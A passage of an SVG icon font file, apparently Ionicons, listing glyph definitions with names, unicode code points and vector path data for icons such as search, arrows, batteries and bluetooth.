s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31zM135 213c-18 0 -31 13 -31 31s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31z" />
    <glyph glyph-name="ion-android-search" unicode="&#xf2f5;" horiz-adv-x="384" 
d="M274 143l110 -110l-33 -33l-109 110v17l-7 6c-25 -21 -58 -34 -93 -34c-79 0 -142 63 -142 142s63 143 141 143c79 0 142 -64 142 -143c0 -36 -13 -68 -34 -93l7 -5h18zM142 143c55 0 99 43 99 98s-44 99 -99 99s-98 -44 -98 -99s43 -98 98 -98z" />
    <glyph glyph-name="ion-android-send" unicode="&#xf2f6;" horiz-adv-x="416" 
d="M0 0v149l298 43l-298 43v149l416 -192z" />
    <glyph glyph-name="ion-android-settings" unicode="&#xf2f7;" horiz-adv-x="416" 
d="M366 171l47 -34c3 -3 4 -10 2 -14l-43 -71c-2 -4 -7 -7 -12 -5l-54 21c-12 -8 -23 -16 -36 -21l-8 -55c-1 -4 -6 -8 -11 -8h-85c-5 0 -10 3 -11 8l-8 55c-13 5 -25 13 -36 21l-54 -21c-4 -2 -10 1 -12 5l-43 71c-3 5 -2 11 2 14l45 34c0 7 -1 14 -1 21s1 14 1 21l-46 34
c-3 3 -4 10 -2 14l43 71c2 4 7 7 12 5l54 -21c12 8 23 16 36 21l8 55c1 4 6 8 11 8h85c5 0 10 -4 11 -8l7 -55c13 -5 25 -13 36 -21l53 21c4 2 11 -1 13 -5l43 -71c3 -5 2 -11 -2 -14l-45 -34c0 -7 1 -14 1 -21s0 -15 -1 -21zM207 119c41 0 75 32 75 73s-34 73 -75 73
s-74 -32 -74 -73s33 -73 74 -73z" />
    <glyph glyph-name="ion-android-share-alt" unicode="&#xf3ac;" horiz-adv-x="384" 
d="M320 104c34 0 62 -28 62 -62s-28 -62 -62 -62s-62 28 -62 62c0 5 1 10 2 14l-152 88c-12 -11 -27 -17 -44 -17c-35 0 -64 29 -64 64s28 64 63 64c17 0 32 -6 44 -17l151 87c-1 5 -2 10 -2 15c0 35 29 64 64 64s64 -29 64 -64s-29 -64 -64 -64c-17 0 -32 6 -44 17
l-151 -87c1 -5 2 -10 2 -15s-1 -10 -2 -15l153 -88c11 11 26 16 42 16z" />
    <glyph glyph-name="ion-android-share" unicode="&#xf2f8;" horiz-adv-x="384" 
d="M384 200l-160 -147v88c-107 0 -171 -34 -224 -109c21 107 75 214 224 235v85z" />
    <glyph glyph-name="ion-android-star-half" unicode="&#xf3ad;" horiz-adv-x="404" 
d="M404 238l-110 -96l33 -142l-125 75l-125 -75l33 142l-110 96l145 12l57 134l57 -134zM219 103l60 -36l-16 68l-5 19l15 12l53 46l-70 6l-19 2l-8 18l-27 64v-189z" />
    <glyph glyph-name="ion-android-star-outline" unicode="&#xf3ae;" horiz-adv-x="404" 
d="M404 238l-110 -96l33 -142l-125 75l-125 -75l33 142l-110 96l145 12l57 134l57 -134zM219 103l60 -36l-16 68l-5 19l15 12l53 46l-70 6l-19 2l-8 18l-27 64l-27 -64l-8 -18l-19 -2l-70 -6l53 -46l15 -12l-5 -19l-16 -68l60 36l17 10z" />
    <glyph glyph-name="ion-android-star" unicode="&#xf2fc;" horiz-adv-x="404" 
d="M202 75l-125 -75l33 142l-110 96l145 12l57 134l57 -134l145 -12l-110 -96l33 -142z" />
    <glyph glyph-name="ion-android-stopwatch" unicode="&#xf2fd;" horiz-adv-x="384" 
d="M168 141v131h48v-131h-48zM344 278c25 -33 40 -74 40 -118c0 -106 -86 -192 -192 -192s-192 86 -192 192s86 192 192 192c44 0 85 -15 118 -40l31 30l33 -33zM298 54c28 28 44 66 44 106s-16 78 -44 106s-66 44 -106 44s-78 -16 -106 -44s-44 -66 -44 -106
s16 -78 44 -106s66 -44 106 -44s78 16 106 44zM128 368v48h128v-48h-128z" />
    <glyph glyph-name="ion-android-subway" unicode="&#xf3af;" horiz-adv-x="352" 
d="M176 400c94 0 176 -10 176 -85v-214c0 -42 -33 -74 -75 -74l27 -27v-16h-256v16l27 27c-42 0 -75 32 -75 74v214c0 75 82 85 176 85zM80 64c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM160 208v96h-112v-96h112zM272 64c18 0 32 14 32 32
s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM304 208v96h-112v-96h112z" />
    <glyph glyph-name="ion-android-sunny" unicode="&#xf3b0;" 
d="M224 288c-25 0 -50 -10 -68 -28s-28 -43 -28 -68s10 -50 28 -68s43 -28 68 -28s50 10 68 28s28 43 28 68s-10 50 -28 68s-43 28 -68 28zM245 416v0v-64h-42v64h42zM374 372v0l30 -30l-38 -38l-30 30zM74 372v0l38 -38l-30 -30l-38 38zM224 320v0c70 0 128 -58 128 -128
s-58 -128 -128 -128s-128 58 -128 128s58 128 128 128zM448 213v0v-42h-64v42h64zM64 213v0v-42h-64v42h64zM366 80v0l38 -38l-30 -30l-38 38zM82 80v0l30 -30l-38 -38l-30 30zM245 32v0v-64h-42v64h42z" />
    <glyph glyph-name="ion-android-sync" unicode="&#xf3b1;" horiz-adv-x="320" 
d="M160 355c88 0 160 -73 160 -163c0 -32 -9 -62 -25 -87l-29 30c9 17 14 37 14 57c0 67 -54 122 -120 122v-61l-80 82l80 81v-61zM160 70v61l80 -82l-80 -81v61c-88 0 -160 73 -160 163c0 32 9 63 25 87l29 -30c-9 -17 -14 -37 -14 -57c0 -67 54 -122 120 -122z" />
    <glyph glyph-name="ion-android-textsms" unicode="&#xf3b2;" horiz-adv-x="384" 
d="M344 384c22 0 40 -18 40 -40v-240c0 -22 -18 -40 -40 -40h-280l-64 -64v344c0 22 10 40 32 40h312zM134 206v40h-38v-40h38zM211 206v40h-38v-40h38zM288 206v40h-38v-40h38z" />
    <glyph glyph-name="ion-android-time" unicode="&#xf3b3;" horiz-adv-x="426" 
d="M213 405c117 0 213 -96 213 -213s-95 -213 -213 -213s-213 96 -213 213s95 213 213 213zM213 22c94 0 170 76 170 170s-76 170 -170 170s-170 -76 -170 -170s76 -170 170 -170zM224 298v-111l96 -57l-16 -26l-112 67v127h32z" />
    <glyph glyph-name="ion-android-train" unicode="&#xf3b4;" horiz-adv-x="352" 
d="M0 101v214c0 75 82 85 176 85s176 -10 176 -85v-214c0 -42 -33 -74 -75 -74l27 -27v-16h-256v16l27 27c-42 0 -75 32 -75 74zM176 72c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40zM304 224v96h-256v-96h256z" />
    <glyph glyph-name="ion-android-unlock" unicode="&#xf3b5;" horiz-adv-x="320" 
d="M280 262c22 0 40 -18 40 -40v-200c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v200c0 22 18 40 40 40h182v40v0c0 34 -28 62 -62 62s-62 -28 -62 -62h-38c0 55 45 100 100 100s100 -45 100 -100v-40h20zM160 80c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40
s18 -40 40 -40z" />
    <glyph glyph-name="ion-android-upload" unicode="&#xf3b6;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM272 172h68l-100 100l-100 -100h68v-76h64v76z" />
    <glyph glyph-name="ion-android-volume-down" unicode="&#xf3b7;" horiz-adv-x="288" 
d="M0 256h85l107 112v-352l-107 112h-85v128zM288 192c0 -38 -21 -73 -53 -88v177c32 -16 53 -51 53 -89z" />
    <glyph glyph-name="ion-android-volume-mute" unicode="&#xf3b8;" horiz-adv-x="192" 
d="M0 256h85l107 112v-352l-107 112h-85v128z" />
    <glyph glyph-name="ion-android-volume-off" unicode="&#xf3b9;" horiz-adv-x="384" 
d="M342 192c0 69 -45 128 -107 147v45c85 -20 149 -99 149 -192c0 -35 -8 -68 -24 -96l-32 32c9 19 14 41 14 64zM192 368v-104l-51 51zM357 51v0l24 -24l-24 -24l-40 40c-23 -21 -51 -36 -82 -43v45c19 6 37 15 52 28l-95 95v-152l-107 112h-85v128h85l9 10l-91 91l24 24z
M288 192c0 -7 0 -15 -2 -22l-51 51v60c32 -16 53 -51 53 -89z" />
    <glyph glyph-name="ion-android-volume-up" unicode="&#xf3ba;" horiz-adv-x="384" 
d="M0 256h85l107 112v-352l-107 112h-85v128zM288 192c0 -38 -21 -73 -53 -88v177c32 -16 53 -51 53 -89zM235 384c85 -20 149 -99 149 -192s-64 -172 -149 -192v45c62 19 106 78 106 147s-44 128 -106 147v45z" />
    <glyph glyph-name="ion-android-walk" unicode="&#xf3bb;" horiz-adv-x="272" 
d="M168 336c-22 0 -40 18 -40 40s18 40 40 40s40 -18 40 -40s-18 -40 -40 -40zM168 216l-20 38l-20 -62l57 -96v-128h-38v96l-50 68l-57 -164h-40l81 320l-41 -16v-80h-40v112l111 38c4 1 10 1 13 1c13 0 23 -6 31 -18l45 -69h72v-40h-104z" />
    <glyph glyph-name="ion-android-warning" unicode="&#xf3bc;" 
d="M0 -16l224 416l224 -416h-448zM248 48v48h-48v-48h48zM248 128v96h-48v-96h48z" />
    <glyph glyph-name="ion-android-watch" unicode="&#xf3bd;" horiz-adv-x="320" 
d="M320 192c0 -51 -24 -96 -61 -125l-19 -115h-160l-19 115c-37 29 -61 74 -61 125s24 96 61 125l19 115h160l19 -115c37 -29 61 -74 61 -125zM40 192c0 -66 54 -120 120 -120s120 54 120 120s-54 120 -120 120s-120 -54 -120 -120z" />
    <glyph glyph-name="ion-android-wifi" unicode="&#xf305;" horiz-adv-x="416" 
d="M208 219c23 0 42 -18 42 -41s-19 -41 -42 -41s-42 18 -42 41s19 41 42 41zM333 178c0 -45 -26 -85 -63 -107l-20 36c25 14 41 40 41 71c0 45 -37 82 -83 82s-83 -37 -83 -82c0 -31 16 -57 41 -71l-20 -36c-37 22 -63 62 -63 107c0 68 56 124 125 124s125 -56 125 -124z
M208 384c114 0 208 -93 208 -206c0 -76 -42 -142 -104 -178l-21 36c50 28 83 81 83 142c0 91 -74 165 -166 165s-166 -74 -166 -165c0 -61 33 -113 83 -142l-21 -36c-62 36 -104 102 -104 178c0 113 94 206 208 206z" />
    <glyph glyph-name="ion-aperture" unicode="&#xf313;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56s-100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136s85 -56 136 -56s100 20 136 56zM168 342l56 -86h-147
c17 40 50 71 91 86zM381 160h-102l72 129c21 -27 33 -60 33 -97c0 -11 -1 -22 -3 -32zM328 314l-49 -90l-78 126c8 1 15 2 23 2c40 0 76 -14 104 -38zM67 224h102l-72 -129c-21 27 -33 60 -33 97c0 11 1 22 3 32zM280 42l-56 86h147c-17 -40 -50 -71 -91 -86zM120 70l49 90
l78 -126c-8 -1 -15 -2 -23 -2c-40 0 -76 14 -104 38z" />
    <glyph glyph-name="ion-archive" unicode="&#xf102;" 
d="M224 140l-128 116h80v96h96v-96h80zM433 151c11 -6 17 -19 15 -32l-9 -67c-2 -13 -9 -20 -28 -20h-374c-18 0 -26 7 -28 20l-9 67c-2 13 3 26 14 32l72 55h42l-62 -62h50c2 0 5 -1 6 -3l18 -45h168l18 45c1 2 3 3 5 3h51l-62 62h42z" />
    <glyph glyph-name="ion-arrow-down-a" unicode="&#xf103;" horiz-adv-x="384" 
d="M192 -0l-192 192h112v192h160v-192h112z" />
    <glyph glyph-name="ion-arrow-down-b" unicode="&#xf104;" horiz-adv-x="320" 
d="M3 263c-2 2 -3 6 -3 9c0 9 8 16 17 16v0h286v0c9 0 17 -7 17 -16c0 -3 -1 -6 -3 -8l-2 -3l-136 -156c-5 -5 -11 -9 -19 -9s-14 4 -19 9l-136 156z" />
    <glyph glyph-name="ion-arrow-down-c" unicode="&#xf105;" horiz-adv-x="274" 
d="M265 125l-105 -100c-6 -6 -14 -9 -23 -9s-16 3 -22 9l-106 100c-12 12 -12 31 0 43s34 12 46 0l50 -48v217c0 17 14 31 32 31s32 -14 32 -31v-217l50 48c12 12 34 12 46 0s12 -31 0 -43z" />
    <glyph glyph-name="ion-arrow-expand" unicode="&#xf25e;" horiz-adv-x="320" 
d="M178 238l64 64l-50 50h128v-128l-50 50l-64 -64zM178 146l28 28l64 -64l50 50v-128h-128l50 50zM142 146l-64 -64l50 -50h-128v128l50 -50l64 64zM142 238l-28 -28l-64 64l-50 -50v128h128l-50 -50z" />
    <glyph glyph-name="ion-arrow-graph-down-left" unicode="&#xf25f;" 
d="M0 64v160l61 -61l131 141l107 -112l149 128l-149 -203l-107 107l-94 -98l62 -62h-160z" />
    <glyph glyph-name="ion-arrow-graph-down-right" unicode="&#xf260;" 
d="M288 64l62 62l-94 98l-107 -107l-149 203l149 -128l107 112l131 -141l61 61v-160h-160z" />
    <glyph glyph-name="ion-arrow-graph-up-left" unicode="&#xf261;" 
d="M160 320l-62 -62l94 -98l107 107l149 -203l-149 128l-107 -112l-131 141l-61 -61v160h160z" />
    <glyph glyph-name="ion-arrow-graph-up-right" unicode="&#xf262;" 
d="M288 320h160v-160l-61 61l-131 -141l-107 112l-149 -128l149 203l107 -107l94 98z" />
    <glyph glyph-name="ion-arrow-left-a" unicode="&#xf106;" horiz-adv-x="384" 
d="M0 192l192 192v-112h192v-160h-192v-112z" />
    <glyph glyph-name="ion-arrow-left-b" unicode="&#xf107;" horiz-adv-x="192" 
d="M167 349c2 2 6 3 9 3c9 0 16 -8 16 -17v0v-286v0c0 -9 -7 -17 -16 -17c-3 0 -7 1 -9 3l-2 2l-156 136c-5 5 -9 11 -9 19s4 14 9 19l156 136z" />
    <glyph glyph-name="ion-arrow-left-c" unicode="&#xf108;" horiz-adv-x="352" 
d="M109 320c12 12 32 12 44 0s12 -34 0 -46l-49 -50h217c17 0 31 -14 31 -32s-14 -32 -31 -32h-217l48 -50c12 -12 12 -34 0 -46s-31 -12 -43 0l-100 106c-6 6 -9 13 -9 22s3 17 9 23z" />
    <glyph glyph-name="ion-arrow-move" unicode="&#xf263;" 
d="M448 192l-96 -96v76h-109l1 -108h76l-96 -96l-96 96h76v108h-108v-76l-96 96l96 96v-76h108v108h-76l96 96l96 -96h-76v-108h108v76z" />
    <glyph glyph-name="ion-arrow-resize" unicode="&#xf264;" horiz-adv-x="320" 
d="M192 352h128v-128l-50 50l-9 -9l-183 -183l50 -50h-128v128l50 -50l128 128v0l64 64z" />
    <glyph glyph-name="ion-arrow-return-left" unicode="&#xf265;" horiz-adv-x="384" 
d="M128 352v-64h248c4 0 8 -4 8 -8v-240c0 -4 -4 -8 -8 -8h-304c-4 0 -8 4 -8 8v48c0 4 4 8 8 8h248v128h-192v-64l-128 96z" />
    <glyph glyph-name="ion-arrow-return-right" unicode="&#xf266;" horiz-adv-x="384" 
d="M384 256l-128 -96v64h-192v-128h248c4 0 8 -4 8 -8v-48c0 -4 -4 -8 -8 -8h-304c-4 0 -8 4 -8 8v240c0 4 4 8 8 8h248v64z" />
    <glyph glyph-name="ion-arrow-right-a" unicode="&#xf109;" horiz-adv-x="384" 
d="M384 192l-192 -192v112h-192v160h192v112z" />
    <glyph glyph-name="ion-arrow-right-b" unicode="&#xf10a;" horiz-adv-x="192" 
d="M25 35c-2 -2 -6 -3 -9 -3c-9 0 -16 8 -16 17v0v286v0c0 9 7 17 16 17c3 0 6 -1 8 -3l3 -2l156 -136c5 -5 9 -11 9 -19s-4 -14 -9 -19l-156 -136z" />
    <glyph glyph-name="ion-arrow-right-c" unicode="&#xf10b;" horiz-adv-x="352" 
d="M243 320l100 -105c6 -6 9 -14 9 -23s-3 -16 -9 -22l-100 -106c-12 -12 -31 -12 -43 0s-12 34 0 46l48 50h-217c-17 0 -31 14 -31 32s14 32 31 32h217l-49 50c-12 12 -12 34 0 46s32 12 44 0z" />
    <glyph glyph-name="ion-arrow-shrink" unicode="&#xf267;" horiz-adv-x="384" 
d="M384 356l-82 -82l50 -50h-128v128l50 -50l82 82zM384 28l-28 -28l-82 82l-50 -50v128h128l-50 -50zM0 28l82 82l-50 50h128v-128l-50 50l-82 -82zM0 356l28 28l82 -82l50 50v-128h-128l50 50z" />
    <glyph glyph-name="ion-arrow-swap" unicode="&#xf268;" horiz-adv-x="384" 
d="M0 120c0 4 4 8 8 8h248v64l128 -96l-128 -96v64h-248c-4 0 -8 4 -8 8v48zM384 264c0 -4 -4 -8 -8 -8h-248v-64l-128 96l128 96v-64h248c4 0 8 -4 8 -8v-48z" />
    <glyph glyph-name="ion-arrow-up-a" unicode="&#xf10c;" horiz-adv-x="384" 
d="M192 384l192 -192h-112v-192h-160v192h-112z" />
    <glyph glyph-name="ion-arrow-up-b" unicode="&#xf10d;" horiz-adv-x="320" 
d="M317 121c2 -2 3 -6 3 -9c0 -9 -8 -16 -17 -16v0h-286v0c-9 0 -17 7 -17 16c0 3 1 6 3 8l2 3l136 156c5 5 11 9 19 9s14 -4 19 -9l136 -156z" />
    <glyph glyph-name="ion-arrow-up-c" unicode="&#xf10e;" horiz-adv-x="274" 
d="M9 259l105 100c6 6 14 9 23 9s16 -3 22 -9l106 -100c12 -12 12 -31 0 -43s-34 -12 -46 0l-50 48v-217c0 -17 -14 -31 -32 -31s-32 14 -32 31v217l-50 -49c-12 -12 -34 -12 -46 0s-12 32 0 44z" />
    <glyph glyph-name="ion-asterisk" unicode="&#xf314;" 
d="M448 224v-64l-186 10l104 -170l-56 -32l-86 176l-86 -176l-56 32l104 170l-186 -10v64l187 -7l-109 167l60 32l86 -176l86 176l60 -32l-109 -167z" />
    <glyph glyph-name="ion-at" unicode="&#xf10f;" 
d="M422 41c-24 -25 -52 -43 -85 -55s-69 -18 -105 -18c-35 0 -66 6 -95 17s-53 26 -73 46s-36 43 -47 71s-17 58 -17 90s6 62 18 89s29 51 50 71s46 35 74 47c28 11 58 17 90 17c28 0 55 -4 81 -12s49 -20 69 -36s36 -36 48 -60s18 -53 18 -85c0 -24 -3 -46 -10 -64
s-16 -34 -27 -46s-24 -22 -38 -28s-29 -10 -45 -10s-29 4 -39 12s-15 17 -15 29h-3c-6 -10 -15 -19 -28 -28s-28 -13 -46 -13c-28 0 -49 9 -64 27s-23 42 -23 71c0 17 3 34 9 50s14 31 24 44s23 23 38 31s31 12 49 12c15 0 27 -4 38 -10c10 -6 18 -15 21 -24h1l5 24h54
l-24 -113c-1 -6 -2 -12 -3 -19s-2 -13 -2 -19c0 -7 1 -13 4 -18s7 -7 15 -7c16 0 29 9 39 26s16 40 16 68c0 24 -4 45 -12 64s-20 34 -34 47s-32 23 -52 29s-41 9 -65 9c-26 0 -49 -4 -70 -13s-39 -22 -54 -38s-27 -34 -35 -56c-8 -21 -13 -44 -13 -69c0 -26 4 -51 13 -72
s21 -39 37 -54s35 -27 57 -35s46 -12 72 -12c33 0 61 6 85 16s45 25 65 43zM231 260c-10 0 -18 -2 -25 -8s-14 -13 -19 -22s-8 -18 -11 -28s-4 -20 -4 -30c0 -5 0 -10 1 -16c1 -5 3 -10 6 -15s7 -8 12 -11s11 -5 19 -5c11 0 20 3 28 8s14 13 19 21s9 16 11 26s3 19 3 27
c0 6 0 13 -1 19s-4 12 -7 17s-7 9 -12 12s-12 5 -20 5z" />
    <glyph glyph-name="ion-backspace-outline" unicode="&#xf3be;" horiz-adv-x="512" 
d="M413 116c2 -2 3 -4 3 -6s-1 -4 -3 -6l-21 -22c-2 -2 -4 -2 -6 -2s-4 0 -6 2l-76 77l-76 -77c-2 -2 -4 -2 -6 -2s-4 0 -6 2l-21 22c-2 2 -3 4 -3 6s1 4 3 6l76 76l-77 76c-3 3 -3 9 0 12l22 22c2 2 4 2 6 2s4 0 6 -2l76 -76l76 76c2 2 4 2 6 2s4 0 6 -2l22 -22
c3 -3 3 -9 0 -12l-77 -76zM499 354c9 -9 13 -20 13 -33v-256c0 -27 -20 -49 -46 -49h-298c-13 0 -24 3 -34 9c-9 5 -16 11 -23 20v0l-1 1l-110 146l110 148c14 19 34 28 58 28h298c13 0 24 -5 33 -14zM480 65v256c0 9 -5 15 -14 15h-298c-11 0 -22 -3 -32 -16l-96 -128
l96 -128c8 -10 17 -16 32 -16h298c9 0 14 8 14 17z" />
    <glyph glyph-name="ion-backspace" unicode="&#xf3bf;" horiz-adv-x="512" 
d="M499 354c9 -9 13 -20 13 -33v-256c0 -27 -20 -49 -46 -49h-298c-13 0 -24 3 -34 9c-9 5 -16 11 -23 20v0l-1 1l-110 146l110 148c14 19 34 28 58 28h298c13 0 24 -5 33 -14zM413 116l-76 76l77 76c3 3 3 9 0 12l-22 22c-2 2 -4 2 -6 2s-4 0 -6 -2l-76 -76l-76 76
c-2 2 -4 2 -6 2s-4 0 -6 -2l-22 -22c-3 -3 -3 -9 0 -12l77 -76l-76 -76c-2 -2 -3 -4 -3 -6s1 -4 3 -6l21 -22c2 -2 4 -2 6 -2s4 0 6 2l76 77l76 -77c2 -2 4 -2 6 -2s4 0 6 2l21 22c2 2 3 4 3 6s-1 4 -3 6z" />
    <glyph glyph-name="ion-bag" unicode="&#xf110;" 
d="M416 288l32 -320h-448l32 320h64v4c0 68 56 124 124 124h8c68 0 124 -56 124 -124v-4h64zM128 292v-4h192v4c0 51 -41 92 -92 92v0h-8c-51 0 -92 -41 -92 -92zM36 0h376l-25 256h-35v-36c10 -6 16 -16 16 -28c0 -18 -14 -32 -32 -32s-32 14 -32 32c0 12 6 22 16 28v36
h-192v-36c10 -6 16 -16 16 -28c0 -18 -14 -32 -32 -32s-32 14 -32 32c0 12 6 22 16 28v36h-35z" />
    <glyph glyph-name="ion-battery-charging" unicode="&#xf111;" 
d="M10 64c-6 0 -10 4 -10 10v236c0 6 4 10 10 10h381c6 0 10 -4 10 -10v-54h37c6 0 10 -4 10 -10v-108c0 -6 -4 -10 -10 -10h-37v-54c0 -6 -4 -10 -10 -10h-381zM225 288l-100 -111h61l-27 -81l100 111h-61z" />
    <glyph glyph-name="ion-battery-empty" unicode="&#xf112;" 
d="M438 256c6 0 10 -4 10 -10v-108c0 -6 -4 -10 -10 -10h-37v-54c0 -6 -4 -10 -10 -10h-381c-6 0 -10 4 -10 10v236c0 6 4 10 10 10h381c6 0 10 -4 10 -10v-54h37zM416 160v64h-15h-32v32v32h-337v-192h337v32v32h32h15z" />
    <glyph glyph-name="ion-battery-full" unicode="&#xf113;" 
d="M438 256c6 0 10 -4 10 -10v-108c0 -6 -4 -10 -10 -10h-37v-54c0 -6 -4 -10 -10 -10h-381c-6 0 -10 4 -10 10v236c0 6 4 10 10 10h381c6 0 10 -4 10 -10v-54h37z" />
    <glyph glyph-name="ion-battery-half" unicode="&#xf114;" 
d="M438 256c6 0 10 -4 10 -10v-108c0 -6 -4 -10 -10 -10h-37v-54c0 -6 -4 -10 -10 -10h-381c-6 0 -10 4 -10 10v236c0 6 4 10 10 10h381c6 0 10 -4 10 -10v-54h37zM416 160v64h-15h-32v32v32h-81l32 -192h49v32v32h32h15z" />
    <glyph glyph-name="ion-battery-low" unicode="&#xf115;" 
d="M10 64c-6 0 -10 4 -10 10v236c0 6 4 10 10 10h381c6 0 10 -4 10 -10v-54h37c6 0 10 -4 10 -10v-108c0 -6 -4 -10 -10 -10h-37v-54c0 -6 -4 -10 -10 -10h-381zM369 288h-209l32 -192h177v32v32h32h15v64h-15h-32v32v32z" />
    <glyph glyph-name="ion-beaker" unicode="&#xf269;" horiz-adv-x="384" 
d="M80 256h240v-224c0 -9 -7 -16 -16 -16h-208c-9 0 -16 7 -16 16v224zM296 104v48c0 4 -4 8 -8 8s-8 -4 -8 -8v-48c0 -4 4 -8 8 -8s8 4 8 8zM288 176c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8zM381 416c3 0 3 -2 3 -3s-2 -3 -3 -5s-13 -20 -13 -40v-336
c0 -35 -29 -64 -64 -64h-208c-35 0 -64 29 -64 64v307c0 32 -2 33 -32 37c0 12 11 40 65 40h316zM336 368c0 5 0 16 1 16h-273c-1 0 -3 0 -4 -1c5 -7 4 -32 4 -44v-307c0 -18 14 -32 32 -32h210c17 0 30 14 30 32v336z" />
    <glyph glyph-name="ion-beer" unicode="&#xf26a;" 
d="M384 288c35 0 64 -29 64 -64v-96c0 -35 -29 -64 -64 -64h-32v-80c0 -9 -7 -16 -16 -16h-256c-9 0 -16 7 -16 16v223c-26 0 -48 22 -48 48v54v1c-10 11 -16 26 -16 42c0 35 29 64 64 64c18 0 34 -8 46 -20c10 12 26 20 43 20c14 0 27 -6 37 -14c12 9 26 14 42 14
c17 0 34 -6 46 -16c11 10 26 16 42 16c35 0 64 -29 64 -64c0 -24 -18 -44 -32 -48v-16h32zM296 144c4 0 8 3 8 8v0v48c0 4 -4 8 -8 8s-8 -4 -8 -8v-48c0 -3 2 -6 4 -7c1 -1 2 -1 4 -1zM303 220c1 2 1 4 1 6s-1 4 -3 5s-4 1 -6 1s-4 -2 -5 -4s-2 -4 -2 -6s2 -4 4 -5
s4 -1 6 -1s4 2 5 4zM320 288v32h-20c-3 -8 -7 -16 -13 -23c-13 -16 -33 -25 -55 -25c-26 0 -48 13 -61 33c-6 -2 -12 -3 -18 -3c-12 0 -23 4 -32 10c-2 1 -3 3 -5 4c-1 -2 -2 -3 -3 -5c-5 -6 -11 -10 -17 -14v-32v-9h80c0 4 4 8 8 8s8 -4 8 -8h128v32zM351 343c1 3 1 6 1 9
c0 18 -14 32 -32 32c-9 0 -17 -4 -23 -10c-2 -2 -6 -5 -16 -6h-8c-6 1 -12 3 -14 5c-7 7 -16 11 -27 11c-9 0 -18 -4 -25 -9l-7 -7c0 -1 0 -1 -1 -2c-3 -3 -7 -5 -11 -5c-5 0 -8 3 -11 6c-1 2 -2 3 -3 5s-3 4 -5 6c-4 4 -10 6 -16 6c-10 0 -18 -9 -25 -16
c-7 -8 -27 -8 -34 0s-18 16 -30 16c-18 0 -32 -14 -32 -32c0 -2 1 -5 1 -7c2 -9 7 -17 15 -21v-34v-35c0 -9 7 -16 16 -16v26v23v32c10 0 18 4 24 11c2 2 3 4 4 6c0 0 6 10 12 11s20 6 30 -5c4 -5 11 -9 19 -9c3 0 5 1 7 2c3 1 7 2 9 4v0c3 2 6 4 10 4c7 0 12 -4 14 -10
c0 0 1 -1 1 -2c1 -3 1 -5 3 -8c7 -12 20 -20 35 -20c13 0 25 6 32 16c5 7 8 15 8 24s9 8 9 8h7h48c6 0 13 -3 15 -9zM416 128v96c0 18 -14 32 -32 32h-32v-160h32c18 0 32 14 32 32zM128 280c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM288 280c0 5 3 8 8 8s8 -3 8 -8
s-3 -8 -8 -8s-8 3 -8 8z" />
    <glyph glyph-name="ion-bluetooth" unicode="&#xf116;" horiz-adv-x="256" 
d="M12 304c16 16 18 13 19 12l68 -65v0v0c2 -2 10 -10 10 -3v156v0v2c0 6 6 10 12 10c4 0 7 -2 9 -4v0s117 -113 122 -117s5 -10 1 -14l-84 -81s-4 -4 -4 -8s4 -8 4 -8l84 -81c4 -4 4 -10 -1 -14s-122 -117 -122 -117v0c-2 -2 -5 -4 -9 -4c-6 0 -12 4 -12 10v2v0v156
s-8 -1 -10 -3v0v-1l-68 -64c-1 -1 -3 -4 -19 12s-12 17 -11 18s90 86 90 86s4 3 4 8v0c0 5 -4 8 -4 8s-89 85 -90 86s-5 2 11 18zM152 328v-79c0 -8 8 -1 10 1l30 30s3 5 3 7s-1 5 -3 7l-30 30c-2 2 -10 11 -10 4zM152 135v-79s8 2 10 4l30 30c2 2 3 5 3 7s-1 5 -3 7l-30 30
c-2 2 -10 9 -10 1z" />
    <glyph glyph-name="ion-bonfire" unicode="&#xf315;" horiz-adv-x="384" 
d="M207 97l15 -89c1 -3 1 -5 1 -8c0 -18 -14 -32 -32 -32s-32 14 -32 32c0 2 0 5 1 7l15 92v0c2 7 8 13 16 13s15 -7 16 -15zM242 93v0v0v0zM329 58c9 -8 10 -25 0 -35s-27 -9 -35 0c-1 1 -2 3 -3 4l-49 66c-3 5 -2 11 2 15c5 5 10 5 16 1l64 -47c2 -1 3 -3 5 -4zM309 113v0
v0v0zM371 126c9 -1 13 -7 13 -19c0 -9 -10 -14 -18 -12l-57 18v0v0c-3 2 -6 5 -5 9s4 7 8 6zM75 113v0v0v0zM75 113v0l-58 -18c-8 -2 -17 3 -17 12c0 12 3 18 12 19l60 2c4 1 7 -2 8 -6s-2 -7 -5 -9v0zM124 109c5 4 11 4 16 -1c4 -4 5 -10 2 -15l-49 -66c-1 -1 -2 -3 -3 -4
c-10 -10 -25 -10 -35 0s-10 25 0 35c2 2 3 3 5 4zM288 320c0 -32 -9 -58 -50 -86c-37 -26 -94 -46 -110 -106c0 0 -58 24 -48 96s124 106 112 192c24 0 96 -35 96 -96zM288 192c-16 -50 -44 -64 -80 -64c-15 0 -32 9 -43 26c12 15 28 26 47 37c9 5 20 10 29 16
c21 14 38 31 47 49c5 -15 5 -48 0 -64zM88 288c-6 4 -9 14 -8 27c2 22 34 39 32 69c14 2 31 -3 42 -24c-5 -11 -15 -21 -28 -34s-26 -22 -38 -38z" />
    <glyph glyph-name="ion-bookmark" unicode="&#xf26b;" horiz-adv-x="192" 
d="M184 384c4 0 8 -4 8 -8v-56h-192v56c0 4 4 8 8 8h176zM0 0v304h192v-304l-96 96z" />
    <glyph glyph-name="ion-bowtie" unicode="&#xf3c0;" 
